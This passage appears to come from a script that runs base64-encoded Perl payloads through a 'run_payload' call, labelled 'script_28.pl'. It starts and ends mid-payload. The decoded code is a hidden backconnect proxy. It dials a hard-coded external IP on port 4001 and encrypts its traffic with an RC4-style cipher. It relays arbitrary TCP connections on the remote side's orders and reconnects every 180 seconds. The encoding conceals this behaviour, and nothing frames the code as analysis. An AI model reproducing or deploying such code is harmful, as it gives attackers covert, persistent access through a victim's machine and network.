sKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_28.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTc3JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNs